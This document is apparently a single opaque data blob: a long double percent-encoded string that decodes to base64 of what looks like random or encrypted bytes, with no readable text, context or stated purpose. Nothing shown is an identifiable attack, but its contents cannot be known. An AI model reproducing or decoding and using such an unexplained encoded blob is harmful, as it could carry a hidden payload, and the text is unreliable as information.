%36%61%25%33%31%25%35%35%25%36%39%25%32%62%25%37%37%25%34%35%25%34%63%25%33%38%25%36%65%25%34%35%25%36%66%25%33%31%25%37%36%25%33%31%25%36%37%25%37%38%25%34%66%25%33%31%25%34%37%25%34%34%25%36%35%25%34%63%25%34%38%25%36%38%25%37%37%25%33%37%25%36%64%25%37%31%25%34%35%25%33%33%25%34%39%25%32%62%25%36%64%25%33%30%25%34%61%25%35%37%25%37%36%25%37%34%25%35%30%25%35%37%25%33%38%25%34%33%25%37%38%25%35%39%25%34%65%25%33%33%25%37%38%25%34%64%25%34%64%25%36%35%25%33%35%25%36%31%25%35%32%25%34%33%25%36%64%25%37%32%25%35%39%25%34%62%25%37%61%25%34%37%25%32%62%25%33%39%25%36%31%25%34%34%25%35%30%25%36%36%25%37%38%25%35%32%25%37%31%25%35%38%25%35%35%25%33%38%25%35%33%25%37%32%25%36%61%25%34%33%25%36%36%25%34%37%25%34%34%25%34%61%25%35%34%25%34%64%25%36%35%25%33%35%25%34%33%25%34%37%25%34%39%25%35%61%25%32%62%25%36%63%25%37%33%25%32%66%25%36%33%25%37%32%25%33%33%25%36%61%25%34%38%25%37%35%25%36%65%25%35%38%25%33%34%25%36%36%25%34%62%25%36%64%25%36%33%25%34%63%25%36%65%25%36%65%25%34%37%25%34%39%25%36%64%25%35%61%25%34%39%25%34%38%25%36%33%25%32%66%25%33%34%25%34%38%25%35%37%25%36%61%25%35%61%25%37%33%25%32%66%25%36%36%25%36%32%25%36%32%25%36%38%25%37%34%25%33%36%25%37%39%25%35%35%25%37%31%25%35%37%25%36%31%25%36%34%25%32%62%25%37%36%25%35%37%25%35%39%25%35%34%25%34%34%25%37%30%25%34%39%25%36%37%25%33%31%25%34%62%25%37%32%25%37%32%25%35%34%25%35%61%25%36%62%25%36%39%25%37%33%25%35%33%25%34%63%25%37%30%25%34%32%25%34%39%25%34%31%25%37%37%25%36%65%25%34%61%25%34%36%25%36%32%25%35%39%25%33%35%25%36%63%25%36%39%25%33%36%25%35%36%25%33%31%25%33%37%25%34%63%25%37%37%25%35%61%25%37%31%25%37%36%25%37%31%25%34%39%25%34%39%25%35%32%25%35%61%25%35%61%25%33%30%25%37%39%25%36%36%25%35%39%25%36%61%25%34%38%25%37%61%25%35%61%25%34%31%25%36%37%25%37%39%25%37%33%25%37%33%25%35%36%25%35%36%25%37%61%25%37%36%25%35%36%25%37%38%25%34%65%25%35%32%25%36%63%25%35%37%25%35%30%25%36%33%25%33%38%25%37%33%25%32%66%25%35%30%25%36%65%25%34%36%25%37%35%25%34%38%25%37%39%25%36%63%25%34%64%25%36%32%25%32%62%25%37%31%25%34%66%25%36%62%25%32%66%25%34%35%25%34%62%25%36%32%25%34%33%25%35%35%25%36%63%25%37%34%25%35%34%25%34%66%25%32%62%25%37%31%25%35%39%25%34%36%25%32%66%25%37%37%25%34%64%25%34%33%25%35%30%25%33%31%25%35%36%25%37%61%25%35%38%25%36%64%25%36%61%25%36%65%25%37%36%25%33%31%25%33%35%25%37%39%25%33%30%25%35%33%25%33%33%25%35%33%25%37%30%25%35%34%25%37%33%25%34%64%25%36%31%25%36%63%25%34%63%25%35%37%25%36%31%25%33%30%25%32%62%25%37%39%25%37%61%25%37%31%25%36%39%25%37%37%25%34%61%25%34%66%25%33%38%25%36%62%25%33%34%25%36%39%25%35%38%25%36%36%25%34%62%25%35%38%25%36%37%25%36%64%25%33%35%25%37%36%25%36%64%25%33%39%25%37%30%25%37%30%25%34%32%25%35%31%25%34%32%25%33%31%25%37%32%25%35%32%25%37%36%25%34%34%25%33%35%25%37%35%25%37%35%25%37%34%25%34%37%25%36%38%25%35%31%25%34%61%25%33%30%25%36%62%25%36%38%25%34%62%25%37%38%25%33%30%25%36%62%25%34%37%25%36%31%25%36%35%25%33%35%25%33%38%25%34%63%25%36%63%25%35%33%25%36%65%25%36%34%25%35%32%25%33%31%25%35%35%25%36%65%25%34%63%25%36%39%25%37%35%25%35%39%25%34%35%25%35%34%25%36%33%25%34%36%25%36%34%25%33%36%25%34%65%25%36%35%25%36%65%25%36%36%25%37%39%25%34%31%25%34%64%25%37%34%25%36%35%25%34%36%25%35%32%25%34%32%25%33%31%25%36%32%25%36%34%25%37%61%25%34%38%25%32%62%25%36%33%25%33%33%25%36%38%25%36%35%25%33%35%25%33%38%25%33%31%25%33%36%25%33%31%25%33%39%25%36%32%25%37%33%25%34%36%25%35%37%25%36%61%25%34%39%25%37%32%25%34%63%25%33%34%25%33%39%25%37%35%25%36%33%25%36%61%25%36%37%25%34%64%25%33%39%25%34%34%25%32%62%25%35%30%25%33%39%25%37%31%25%35%38%25%34%61%25%36%61%25%36%33%25%36%38%25%32%66%25%35%33%25%36%36%25%33%30%25%34%65%25%34%31%25%33%36%25%34%36%25%33%38%25%34%32%25%34%61%25%37%34%25%34%65%25%36%33%25%35%33%25%37%31%25%35%36%25%35%34%25%34%66%25%33%38%25%34%32%25%34%65%25%33%38%25%36%62%25%34%34%25%34%31%25%34%32%25%34%39%25%37%36%25%34%66%25%33%39%25%33%31%25%34%65%25%36%32%25%32%66%25%36%31%25%35%35%25%36%33%25%37%31%25%36%35%25%35%61%25%32%66%25%35%31%25%34%37%25%34%66%25%35%36%25%34%66%25%36%65%25%36%62%25%36%32%25%34%63%25%37%35%25%37%31%25%37%32%25%37%31%25%36%36%25%35%31%25%32%62%25%33%33%25%33%34%25%36%61%25%35%36%25%36%66%25%36%35%25%33%35%25%36%32%25%37%34%25%35%31%25%34%33%25%37%35%25%36%32%25%36%65%25%36%63%25%35%61%25%35%32%25%35%36%25%36%39%25%37%33%25%36%63%25%34%65%25%36%63%25%34%61%25%36%65%25%34%64%25%36%37%25%35%38%25%34%64%25%37%34%25%33%31%25%35%32%25%36%61%25%35%30%25%37%31%25%36%62%25%34%35%25%37%37%25%37%31%25%37%37%25%37%32%25%36%62%25%36%36%25%35%36%25%35%37%25%37%37%25%37%32%25%34%65%25%36%35%25%33%38%25%34%66%25%37%61%25%33%38%25%36%33%25%37%35%25%34%31%25%36%31%25%36%35%25%35%61%25%34%66%25%37%33%25%35%37%25%37%37%25%34%31%25%35%36%25%36%64%25%36%63%25%33%30%25%34%33%25%34%62%25%33%32%25%36%32%25%37%36%25%33%36%25%34%64%25%36%63%25%34%66%25%35%38%25%36%38%25%35%32%25%35%61%25%37%32%25%33%33%25%35%31%25%34%62%25%37%37%25%36%32%25%35%30%25%32%62%25%34%39%25%37%32%25%35%61%25%33%38%25%36%37%25%35%33%25%37%35%25%33%37%25%33%34%25%34%32%25%37%38%25%35%36%25%35%30%25%35%61%25%34%36%25%34%66%25%37%39%25%32%62%25%34%34%25%37%61%25%34%33%25%35%37%25%34%33%25%33%38%25%34%62%25%33%34%25%35%61%25%32%66%25%35%30%25%35%39%25%32%62%25%35%30%25%36%61%25%37%30%25%34%63%25%33%35%25%32%62%25%36%37%25%35%38%25%34%36%25%33%32%25%34%34%25%35%36%25%36%38%25%37%30%25%37%32%25%36%66%25%34%65%25%36%39%25%34%36%25%34%34%25%33%32%25%37%36%25%32%66%25%35%36%25%33%38%25%34%62%25%35%35%25%33%36%25%36%39%25%34%33%25%35%36%25%36%31%25%34%61%25%36%64%25%34%35%25%35%30%25%34%37%25%36%31%25%32%62%25%35%30%25%35%36%25%33%36%25%36%63%25%37%34%25%36%35%25%36%61%25%36%63%25%33%31%25%34%63%25%33%35%25%35%38%25%35%34%25%33%38%25%36%61%25%33%35%25%36%33%25%36%66%25%37%35%25%35%31%25%33%36%25%34%39%25%34%62%25%35%33%25%37%39%25%33%35%25%33%36%25%36%62%25%33%30%25%36%64%25%37%61%25%36%33%25%35%61%25%33%31%25%34%38%25%34%36%25%37%39%25%34%34%25%34%31%25%33%39%25%37%34%25%37%36%25%37%34%25%33%36%25%34%66%25%34%65%25%35%37%25%36%66%25%35%31%25%33%38%25%36%39%25%37%37%25%37%37%25%37%33%25%33%31%25%36%35%25%36%36%25%35%35%25%33%33%25%36%34%25%35%31%25%34%37%25%34%38%25%33%30%25%36%39%25%35%33%25%34%32%25%36%39%25%35%34%25%35%61%25%36%61%25%33%37%25%35%61%25%36%39%25%33%30%25%34%32%25%34%63%25%33%37%25%36%35%25%37%33%25%33%34%25%37%37%25%37%32%25%36%32%25%37%33%25%36%66%25%34%64%25%36%62%25%36%64%25%33%35%25%33%33%25%37%35%25%37%30%25%37%31%25%35%38%25%33%35%25%33%39%25%37%61%25%36%35%25%35%30%25%34%32%25%32%66%25%34%31%25%34%64%25%34%39%25%37%30%25%36%64%25%34%32%25%37%38%25%37%61%25%34%38%25%34%39%25%35%32%25%34%31%25%36%32%25%34%66%25%37%34%25%34%65%25%36%64%25%33%34%25%33%34%25%35%35%25%37%35%25%35%35%25%34%36%25%34%39%25%35%35%25%35%34%25%36%62%25%36%66%25%36%37%25%34%37%25%35%30%25%34%64%25%33%30%25%37%33%25%36%37%25%37%31%25%33%33%25%34%34%25%36%33%25%34%33%25%33%30%25%36%65%25%35%36%25%34%37%25%34%66%25%34%38%25%34%36%25%34%66%25%36%33%25%34%66%25%34%62%25%35%39%25%33%34%25%36%34%25%35%33%25%33%37%25%37%61%25%36%39%25%35%39%25%33%35%25%34%62%25%37%31%25%34%34%25%33%31%25%35%61%25%37%37%25%35%38%25%35%61%25%34%64%25%35%35%25%35%34%25%33%34%25%34%33%25%37%36%25%35%37%25%34%62%25%33%34%25%35%31%25%37%39%25%35%61%25%32%66%25%35%38%25%37%35%25%36%38%25%34%66%25%34%32%25%36%38%25%34%66%25%37%36%25%34%34%25%35%33%25%36%33%25%34%66%25%34%61%25%37%36%25%34%37%25%36%37%25%37%30%25%36%36%25%35%35%25%36%36%25%33%39%25%36%62%25%37%39%25%33%39%25%32%62%25%37%33%25%36%33%25%35%61%25%36%34%25%33%34%25%34%38%25%36%36%25%35%32%25%33%32%25%37%39%25%35%31%25%36%61%25%36%38%25%37%35%25%34%34%25%36%62%25%33%39%25%34%33%25%37%36%25%33%34%25%34%36%25%34%33%25%34%39%25%33%35%25%34%32%25%36%34%25%33%39%25%37%39%25%35%30%25%35%38%25%36%61%25%37%61%25%33%32%25%34%32%25%34%36%25%36%35%25%37%30%25%37%38%25%37%39%25%33%32%25%34%63%25%32%62%25%36%34%25%36%36%25%36%33%25%36%37%25%35%33%25%34%32%25%33%39%25%33%35%25%32%62%25%34%64%25%37%36%25%37%31%25%36%32%25%32%62%25%37%37%25%33%35%25%37%33%25%33%38%25%34%33%25%36%31%25%36%61%25%36%38%25%34%63%25%37%37%25%34%63%25%34%63%25%36%34%25%37%39%25%35%32%25%32%62%25%35%30%25%33%37%25%35%31%25%37%37%25%33%39%25%34%35%25%35%32%25%33%32%25%36%65%25%37%61%25%36%37%25%37%37%25%36%35%25%36%39%25%37%33%25%36%63%25%35%38%25%37%30%25%36%39%25%37%30%25%34%33%25%37%35%25%37%32%25%36%32%25%35%31%25%37%39%25%34%37%25%35%31%25%34%36%25%37%30%25%36%62%25%35%37%25%36%37%25%37%39%25%36%36%25%36%33%25%36%61%25%33%38%25%32%66%25%36%32%25%35%35%25%35%32%25%35%37%25%37%39%25%34%33%25%33%32%25%36%37%25%35%32%25%33%36%25%35%30%25%36%33%25%33%34%25%37%37%25%36%37%25%34%33%25%35%37%25%35%34%25%34%32%25%34%36%25%36%64%25%37%31%25%36%37%25%35%30%25%37%38%25%32%62%25%32%62%25%34%34%25%37%30%25%34%62%25%37%37%25%33%30%25%36%66%25%33%31%25%37%32%25%36%35%25%37%34%25%36%31%25%36%63%25%37%33%25%34%34%25%36%38%25%34%37%25%34%34%25%34%32%25%35%34%25%34%37%25%37%38%25%34%64%25%34%65%25%34%66%25%34%66%25%36%37%25%35%36%25%35%39%25%34%32%25%33%33%25%33%31%25%37%61%25%36%38%25%36%66%25%36%61%25%34%66%25%36%36%25%33%39%25%37%31%25%37%30%25%37%35%25%36%65%25%34%64%25%33%33%25%34%31%25%37%38%25%36%31%25%33%39%25%36%62%25%33%38%25%33%37%25%34%62%25%36%39%25%35%38%25%34%39%25%36%36%25%36%35%25%37%31%25%37%30%25%34%32%25%36%34%25%34%65%25%35%37%25%34%64%25%37%39%25%36%62%25%34%36%25%37%39%25%35%34%25%36%39%25%37%38%25%33%33%25%36%66%25%33%35%25%34%35%25%35%31%25%34%31%25%33%36%25%34%65%25%36%36%25%36%33%25%33%31%25%33%38%25%35%34%25%36%34%25%33%32%25%33%36%25%36%39%25%37%35%25%37%33%25%34%31%25%33%36%25%34%66%25%36%64%25%35%37%25%34%66%25%32%62%25%35%38%25%37%32%25%36%35%25%35%34%25%37%31%25%36%38%25%36%64%25%36%65%25%37%36%25%37%34%25%37%32%25%35%31%25%36%66%25%35%39%25%37%31%25%33%34%25%34%36%25%35%31%25%36%61%25%37%33%25%37%30%25%37%38%25%36%39%25%35%35%25%34%39%25%37%30%25%35%61%25%34%62%25%32%66%25%37%36%25%35%31%25%34%36%25%33%31%25%33%38%25%36%32%25%34%62%25%36%39%25%37%36%25%35%61%25%34%62%25%33%32%25%34%63%25%33%32%25%33%30%25%35%33%25%34%63%25%34%37%25%35%37%25%35%61%25%37%30%25%35%30%25%35%36%25%34%63%25%37%31%25%33%32%25%35%32%25%35%30%25%34%35%25%36%36%25%36%32%25%35%30%25%35%61%25%35%32%25%36%65%25%34%63%25%35%30%25%34%35%25%35%33%25%36%31%25%35%33%25%34%39%25%35%32%25%35%30%25%33%37%25%34%37%25%34%33%25%35%34%25%33%38%25%35%35%25%36%66%25%33%38%25%36%64%25%35%34%25%35%35%25%37%35%25%35%31%25%35%32%25%34%35%25%36%34%25%33%31%25%34%38%25%36%39%25%35%37%25%35%61%25%35%39%25%36%37%25%36%62%25%35%32%25%35%30%25%33%35%25%36%64%25%36%64%25%35%34%25%36%37%25%36%39%25%35%36%25%37%39%25%34%38%25%36%32%25%33%38%25%37%61%25%32%66%25%37%31%25%33%35%25%32%66%25%35%39%25%34%35%25%35%32%25%35%35%25%35%33%25%37%35%25%35%37%25%34%63%25%36%31%25%35%61%25%35%34%25%33%35%25%35%31%25%34%39%25%34%62%25%34%64%25%37%33%25%36%62%25%34%32%25%34%31%25%34%66%25%36%66%25%36%66%25%34%63%25%35%32%25%36%65%25%33%35%25%36%66%25%37%30%25%34%35%25%34%32%25%36%35%25%37%30%25%35%34%25%34%39%25%36%62%25%36%39%25%34%35%25%36%63%25%35%30%25%33%34%25%34%63%25%35%36%25%33%37%25%36%64%25%36%31%25%33%36%25%34%62%25%34%33%25%34%33%25%36%32%25%34%35%25%36%38%25%35%33%25%33%34%25%37%35%25%34%65%25%35%36%25%34%38%25%35%39%25%36%63%25%33%34%25%36%62%25%35%39%25%36%38%25%34%37%25%33%35%25%34%36%25%33%36%25%33%39%25%33%30%25%34%35%25%33%38%25%35%32%25%37%38%25%34%62%25%37%38%25%34%63%25%33%32%25%36%63%25%37%35%25%36%34%25%37%31%25%35%34%25%37%39%25%33%34%25%37%37%25%37%36%25%36%35%25%35%30%25%33%30%25%36%38%25%33%38%25%34%32%25%34%66%25%34%36%25%34%63%25%34%66%25%34%37%25%34%64%25%36%62%25%35%61%25%33%35%25%33%39%25%34%63%25%35%30%25%33%36%25%35%35%25%36%39%25%35%38%25%33%30%25%37%39%25%33%38%25%34%34%25%34%64%25%33%33%25%37%36%25%34%37%25%36%31%25%33%34%25%37%34%25%34%63%25%37%35%25%36%33%25%32%62%25%37%32%25%36%33%25%34%65%25%34%35%25%34%65%25%37%33%25%37%35%25%36%61%25%33%36%25%36%31%25%37%35%25%37%61%25%37%61%25%35%35%25%37%31%25%33%36%25%36%64%25%37%35%25%34%65%25%34%37%25%35%37%25%36%63%25%33%39%25%35%61%25%36%31%25%35%33%25%34%66%25%32%62%25%33%34%25%35%36%25%34%61%25%36%65%25%33%30%25%32%62%25%33%34%25%35%37%25%32%66%25%33%36%25%35%39%25%37%38%25%37%38%25%37%35%25%33%32%25%37%61%25%34%35%25%33%33%25%37%39%25%32%66%25%33%39%25%33%31%25%33%33%25%33%35%25%35%39%25%34%38%25%35%37%25%35%31%25%32%66%25%34%39%25%34%35%25%33%31%25%36%36%25%37%38%25%36%35%25%34%66%25%36%34%25%34%39%25%37%30%25%34%66%25%36%64%25%35%38%25%36%62%25%34%32%25%34%39%25%35%61%25%32%62%25%36%31%25%34%39%25%36%38%25%35%36%25%32%66%25%33%39%25%37%38%25%35%38%25%34%39%25%34%33%25%35%31%25%35%36%25%37%61%25%35%32%25%37%39%25%37%30%25%34%37%25%33%36%25%33%36%25%35%33%25%36%34%25%36%32%25%35%37%25%32%66%25%34%63%25%37%30%25%36%66%25%34%39%25%35%36%25%34%31%25%33%37%25%34%32%25%33%36%25%37%37%25%36%62%25%36%35%25%32%66%25%34%66%25%34%35%25%35%35%25%37%35%25%36%36%25%33%35%25%34%36%25%33%33%25%32%62%25%35%34%25%37%31%25%34%31%25%33%30%25%33%39%25%35%37%25%37%61%25%34%35%25%36%61%25%37%36%25%34%64%25%32%62%25%37%39%25%34%38%25%37%34%25%35%31%25%34%61%25%34%36%25%34%64%25%35%38%25%33%34%25%35%35%25%37%38%25%34%62%25%36%34%25%36%66%25%33%34%25%37%35%25%36%37%25%33%35%25%36%62%25%34%65%25%37%39%25%35%39%25%34%65%25%36%66%25%37%30%25%35%38%25%34%31%25%34%38%25%37%35%25%37%39%25%35%35%25%35%37%25%36%32%25%36%38%25%34%64%25%34%38%25%34%31%25%33%34%25%36%66%25%34%66%25%36%61%25%33%31%25%37%33%25%37%38%25%34%65%25%37%30%25%36%61%25%35%38%25%34%61%25%36%66%25%34%63%25%36%38%25%35%36%25%36%63%25%34%35%25%36%66%25%35%34%25%37%61%25%34%38%25%35%37%25%33%37%25%35%36%25%34%36%25%33%30%25%36%38%25%34%31%25%34%62%25%37%34%25%35%39%25%36%66%25%36%39%25%37%36%25%37%31%25%32%62%25%34%31%25%33%37%25%33%33%25%35%39%25%34%61%25%33%36%25%34%35%25%33%34%25%37%37%25%35%31%25%37%30%25%33%36%25%37%35%25%34%33%25%37%30%25%33%39%25%34%64%25%35%32%25%35%31%25%37%39%25%35%31%25%34%39%25%36%64%25%33%35%25%36%39%25%36%32%25%32%62%25%34%65%25%36%64%25%36%37%25%35%39%25%36%37%25%33%35%25%34%64%25%35%33%25%34%33%25%34%38%25%36%31%25%34%61%25%35%31%25%34%62%25%34%62%25%36%63%25%35%37%25%33%37%25%34%33%25%37%33%25%33%38%25%34%34%25%33%31%25%36%66%25%37%61%25%36%64%25%34%62%25%34%62%25%35%31%25%35%33%25%34%65%25%37%39%25%35%61%25%36%63%25%36%38%25%36%37%25%37%34%25%37%38%25%37%31%25%33%32%25%37%36%25%32%62%25%32%62%25%34%66%25%33%37%25%37%33%25%37%36%25%35%37%25%33%36%25%33%36%25%35%37%25%33%34%25%33%35%25%37%30%25%34%61%25%35%34%25%34%34%25%34%39%25%36%39%25%34%36%25%34%61%25%34%39%25%35%32%25%37%30%25%37%30%25%36%65%25%34%35%25%33%35%25%35%36%25%36%66%25%34%66%25%37%38%25%34%38%25%33%37%25%34%34%25%36%63%25%36%34%25%35%34%25%37%31%25%37%33%25%36%36%25%35%35%25%37%33%25%35%61%25%36%65%25%33%31%25%34%38%25%34%34%25%35%61%25%35%35%25%35%37%25%37%32%25%34%62%25%33%39%25%36%65%25%37%33%25%37%35%25%37%32%25%37%32%25%34%31%25%37%35%25%35%30%25%35%30%25%35%61%25%36%34%25%35%30%25%37%35%25%37%33%25%33%31%25%34%39%25%34%64%25%34%35%25%35%33%25%34%62%25%36%36%25%36%64%25%34%37%25%34%38%25%36%63%25%33%32%25%33%36%25%36%66%25%34%61%25%34%31%25%36%62%25%35%61%25%36%39%25%34%64%25%37%30%25%35%39%25%35%35%25%37%32%25%34%32%25%36%66%25%36%35%25%35%36%25%37%30%25%34%35%25%35%37%25%37%32%25%37%31%25%33%34%25%34%64%25%35%37%25%33%35%25%37%61%25%36%64%25%34%35%25%34%63%25%36%33%25%35%31%25%35%30%25%36%31%25%36%39%25%36%65%25%35%61%25%36%62%25%35%35%25%37%34%25%36%34%25%37%32%25%35%36%25%36%64%25%35%61%25%36%64%25%35%31%25%37%34%25%37%39%25%36%65%25%33%34%25%36%62%25%32%66%25%37%33%25%34%62%25%34%35%25%34%66%25%36%63%25%34%63%25%34%64%25%34%63%25%34%36%25%33%36%25%33%34%25%33%30%25%36%61%25%36%63%25%34%32%25%35%36%25%34%36%25%34%62%25%36%37%25%36%65%25%36%38%25%37%31%25%37%33%25%34%65%25%35%30%25%35%35%25%33%30%25%37%34%25%37%39%25%37%37%25%33%31%25%32%62%25%34%65%25%33%31%25%36%61%25%34%61%25%35%30%25%33%36%25%34%31%25%36%31%25%34%62%25%37%61%25%35%34%25%37%38%25%34%33%25%37%32%25%35%38%25%36%64%25%35%37%25%37%38%25%33%30%25%34%32%25%36%65%25%32%62%25%37%31%25%36%34%25%36%35%25%36%39%25%36%33%25%36%36%25%32%62%25%36%62%25%34%62%25%34%33%25%33%32%25%34%63%25%36%63%25%34%35%25%35%38%25%37%37%25%37%39%25%36%62%25%33%34%25%33%30%25%37%36%25%34%61%25%34%63%25%35%34%25%36%36%25%35%61%25%37%32%25%33%30%25%36%31%25%37%61%25%36%39%25%36%63%25%37%39%25%37%31%25%37%38%25%32%66%25%33%33%25%37%34%25%34%32%25%34%63%25%37%32%25%36%63%25%36%64%25%35%35%25%37%39%25%37%31%25%37%31%25%33%32%25%34%66%25%34%37%25%37%32%25%33%37%25%34%36%25%33%33%25%34%62%25%36%62%25%37%35%25%37%31%25%33%30%25%36%39%25%36%36%25%34%37%25%33%33%25%34%39%25%34%39%25%36%64%25%33%37%25%37%39%25%36%35%25%35%32%25%36%38%25%33%34%25%36%62%25%37%61%25%37%33%25%34%37%25%36%63%25%35%61%25%37%36%25%37%36%25%36%63%25%34%38%25%35%31%25%34%34%25%33%36%25%33%33%25%34%36%25%37%32%25%35%33%25%33%32%25%37%30%25%37%34%25%35%38%25%33%30%25%37%39%25%36%37%25%37%36%25%36%38%25%37%37%25%34%31%25%36%62%25%33%36%25%36%34%25%36%39%25%34%62%25%34%31%25%37%34%25%37%39%25%33%35%25%36%32%25%34%36%25%33%30%25%37%37%25%36%35%25%35%36%25%34%36%25%36%35%25%36%35%25%36%38%25%34%38%25%36%64%25%36%37%25%34%31%25%37%31%25%37%38%25%37%31%25%36%34%25%36%39%25%35%61%25%34%39%25%34%61%25%34%37%25%35%34%25%35%38%25%36%38%25%34%63%25%35%34%25%34%36%25%36%36%25%35%38%25%35%39%25%34%62%25%37%35%25%37%39%25%33%35%25%34%62%25%35%35%25%36%63%25%35%31%25%35%35%25%35%36%25%34%65%25%36%33%25%33%33%25%33%31%25%34%65%25%35%37%25%34%38%25%35%31%25%35%31%25%37%33%25%33%32%25%35%31%25%33%32%25%35%36%25%34%36%25%36%34%25%36%65%25%33%31%25%34%36%25%36%65%25%34%65%25%34%66%25%36%36%25%35%35%25%35%36%25%36%63%25%35%34%25%36%66%25%34%65%25%34%61%25%37%61%25%37%30%25%34%36%25%36%62%25%33%33%25%35%37%25%33%32%25%34%61%25%36%64%25%33%38%25%34%65%25%35%36%25%37%31%25%37%36%25%36%64%25%33%33%25%36%64%25%33%38%25%35%38%25%36%31%25%37%30%25%37%33%25%37%37%25%34%34%25%34%39%25%32%66%25%35%39%25%35%39%25%36%63%25%34%65%25%34%65%25%36%66%25%35%33%25%37%36%25%35%61%25%37%30%25%34%62%25%33%33%25%35%32%25%36%61%25%34%33%25%34%39%25%35%39%25%37%61%25%36%61%25%36%66%25%36%63%25%36%36%25%34%35%25%34%66%25%35%35%25%37%32%25%34%64%25%32%66%25%34%36%25%33%35%25%34%37%25%35%34%25%36%31%25%36%61%25%36%37%25%35%61%25%35%32%25%36%32%25%36%39%25%36%32%25%37%38%25%36%33%25%37%32%25%35%32%25%34%38%25%37%35%25%34%32%25%36%31%25%35%31%25%34%66%25%37%33%25%34%38%25%35%31%25%33%39%25%36%37%25%35%35%25%34%62%25%36%63%25%35%38%25%35%37%25%34%64%25%37%37%25%33%33%25%37%35%25%36%61%25%33%34%25%36%39%25%36%38%25%36%66%25%34%62%25%37%31%25%35%39%25%37%39%25%34%37%25%33%36%25%35%31%25%36%37%25%37%36%25%35%37%25%33%33%25%33%32%25%35%35%25%36%61%25%33%37%25%33%39%25%34%31%25%35%35%25%34%66%25%34%66%25%35%61%25%34%61%25%35%31%25%34%65%25%37%39%25%34%37%25%37%30%25%36%34%25%35%39%25%35%35%25%34%33%25%34%63%25%34%61%25%37%36%25%34%36%25%32%62%25%33%37%25%36%38%25%33%39%25%33%37%25%37%61%25%37%39%25%36%36%25%33%34%25%37%31%25%35%38%25%35%61%25%37%38%25%36%35%25%37%35%25%33%32%25%36%65%25%34%61%25%35%33%25%34%36%25%37%34%25%33%34%25%34%39%25%33%30%25%37%31%25%35%37%25%33%37%25%35%34%25%37%37%25%34%31%25%34%62%25%34%66%25%33%31%25%36%37%25%33%36%25%35%38%25%37%32%25%37%37%25%34%33%25%33%34%25%34%65%25%33%35%25%36%39%25%36%33%25%34%64%25%36%32%25%35%39%25%34%37%25%34%38%25%37%30%25%36%65%25%37%37%25%36%35%25%35%34%25%32%62%25%33%32%25%33%35%25%36%66%25%33%31%25%33%38%25%36%35%25%35%37%25%33%33%25%35%30%25%36%39%25%35%61%25%35%34%25%34%38%25%36%38%25%34%31%25%36%63%25%33%31%25%34%39%25%37%30%25%34%66%25%35%33%25%36%31%25%36%64%25%33%39%25%34%32%25%36%38%25%36%37%25%37%61%25%36%31%25%36%62%25%37%30%25%33%31%25%37%35%25%34%32%25%37%61%25%36%32%25%37%34%25%37%38%25%36%63%25%34%64%25%35%38%25%35%39%25%34%34%25%37%31%25%32%62%25%32%66%25%34%35%25%37%30%25%37%37%25%36%65%25%33%31%25%34%65%25%37%30%25%35%33%25%37%61%25%35%36%25%33%35%25%34%65%25%36%38%25%37%33%25%34%37%25%36%38%25%34%61%25%35%32%25%37%35%25%36%31%25%36%36%25%35%32%25%33%32%25%36%64%25%34%65%25%35%34%25%34%37%25%35%39%25%36%38%25%34%37%25%33%39%25%34%65%25%36%33%25%33%34%25%33%33%25%36%37%25%37%36%25%33%37%25%35%37%25%35%39%25%36%62%25%33%35%25%36%38%25%34%37%25%33%39%25%36%66%25%35%30%25%37%36%25%33%32%25%35%37%25%35%35%25%33%30%25%37%39%25%34%62%25%33%31%25%34%66%25%35%39%25%35%33%25%32%66%25%35%34%25%34%38%25%36%38%25%35%32%25%36%39%25%33%38%25%32%66%25%35%31%25%34%31%25%33%31%25%35%33%25%36%31%25%32%66%25%34%32%25%37%33%25%34%35%25%32%66%25%32%62%25%36%37%25%36%63%25%37%32%25%37%37%25%35%30%25%37%38%25%35%38%25%34%63%25%36%61%25%37%36%25%33%30%25%34%61%25%37%32%25%33%30%25%34%63%25%35%35%25%33%30%25%37%35%25%35%33%25%37%34%25%35%37%25%34%38%25%36%37%25%37%30%25%34%62%25%37%31%25%36%64%25%35%35%25%36%39%25%36%32%25%34%65%25%33%37%25%36%62%25%36%39%25%34%62%25%36%36%25%35%61%25%34%33%25%37%36%25%35%34%25%34%33%25%34%64%25%35%36%25%34%35%25%36%37%25%36%37%25%34%36%25%34%38%25%35%33%25%35%31%25%35%61%25%34%66%25%33%30%25%36%64%25%33%36%25%35%33%25%35%35%25%37%31%25%34%61%25%33%32%25%33%36%25%37%61%25%35%38%25%34%34%25%35%61%25%34%39%25%35%31%25%35%36%25%36%63%25%36%64%25%33%30%25%32%66%25%35%39%25%33%32%25%34%66%25%33%30%25%37%39%25%36%31%25%36%31%25%34%66%25%35%61%25%37%61%25%34%39%25%36%32%25%33%34%25%37%33%25%33%34%25%37%38%25%36%61%25%36%37%25%34%34%25%36%32%25%37%38%25%34%31%25%34%31%25%37%39%25%36%35%25%36%63%25%34%65%25%33%39%25%33%36%25%36%63%25%37%35%25%36%39%25%37%32%25%36%32%25%37%36%25%36%34%25%35%33%25%33%35%25%36%34%25%36%65%25%36%32%25%35%32%25%34%65%25%34%66%25%37%39%25%35%30%25%34%64%25%34%63%25%37%35%25%33%37%25%36%31%25%36%34%25%34%62%25%34%62%25%34%33%25%34%65%25%34%65%25%33%35%25%36%63%25%35%36%25%35%36%25%36%39%25%34%37%25%35%31%25%36%63%25%32%66%25%35%36%25%33%33%25%35%39%25%37%38%25%34%64%25%37%61%25%36%64%25%37%39%25%34%31%25%34%62%25%32%66%25%37%30%25%33%34%25%35%35%25%32%66%25%32%62%25%36%36%25%37%37%25%33%35%25%37%37%25%36%62%25%36%64%25%34%31%25%34%62%25%34%37%25%36%66%25%37%34%25%34%32%25%35%36%25%36%66%25%37%61%25%34%39%25%37%31%25%33%30%25%37%34%25%34%61%25%36%62%25%35%39%25%33%39%25%34%35%25%37%39%25%34%33%25%37%34%25%34%66%25%35%38%25%36%34%25%35%38%25%35%33%25%37%39%25%34%61%25%34%36%25%37%30%25%34%37%25%33%38%25%34%34%25%33%34%25%33%30%25%32%62%25%36%63%25%34%39%25%37%32%25%36%36%25%37%38%25%37%38%25%34%63%25%34%61%25%37%61%25%34%39%25%34%63%25%37%30%25%36%62%25%33%30%25%35%35%25%32%62%25%36%37%25%36%31%25%37%30%25%34%35%25%35%38%25%35%32%25%34%66%25%36%32%25%37%35%25%34%61%25%37%38%25%34%61%25%37%31%25%34%64%25%37%39%25%37%33%25%36%65%25%33%32%25%36%33%25%36%38%25%36%33%25%34%34%25%35%30%25%35%36%25%35%36%25%37%35%25%34%65%25%37%38%25%36%35%25%35%33%25%35%36%25%34%62%25%35%32%25%37%36%25%36%39%25%34%36%25%33%32%25%33%35%25%37%36%25%36%65%25%36%61%25%36%61%25%37%30%25%34%61%25%34%39%25